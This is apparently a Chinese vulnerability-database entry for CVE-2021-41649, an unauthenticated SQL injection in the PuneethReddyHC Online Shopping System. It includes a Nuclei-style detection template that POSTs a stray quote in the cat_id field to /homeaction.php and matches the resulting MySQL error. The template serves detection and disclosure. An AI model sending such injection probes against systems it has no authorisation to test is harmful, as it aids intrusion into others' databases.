CVE-2021-41649: PuneethReddyHC Online Shopping System homeaction.php SQL Injection

日期: 2025-08-01 | 影响软件: PuneethReddyHC Online Shopping System | POC: 已公开

漏洞描述

An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping System through the /homeaction.php cat_id parameter. Using a post request does not sanitize the user input.

PoC代码[已公开]

id: CVE-2021-41649

info:
  name: PuneethReddyHC Online Shopping System homeaction.php SQL Injection
  author: daffainfo
  severity: critical
  description: An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping System through the /homeaction.php cat_id parameter. Using a post request does not sanitize the user input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/MobiusBinary/CVE-2021-41649
    - https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41649
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Offensive-Penetration-Security/OPSEC-Hall-of-fame
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41649
    cwe-id: CWE-89
    epss-score: 0.87778
    epss-percentile: 0.99441
    cpe: cpe:2.3:a:online-shopping-system-advanced_project:online-shopping-system-advanced:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: online-shopping-system-advanced_project
    product: online-shopping-system-advanced
  tags: cve2021,cve,sqli,injection,online-shopping-system-advanced_project

http:
  - method: POST
    path:
      - "{{BaseURL}}/homeaction.php"

    body: "cat_id=4'&get_seleted_Category=1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "Warning: mysqli_num_rows() expects parameter 1 to be"
          - "xdebug-error xe-warning"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ce972f980ad2c9b9dc91d9641506f23a2dcfe8ecc52402b604155b466359a75f022100bb96f1b9e5322cdae111faa296d907ef4e1047f4231e1b94b8b6f8bd7d2a5667:922c64590222798bb761d5b6d8e72950

相关漏洞推荐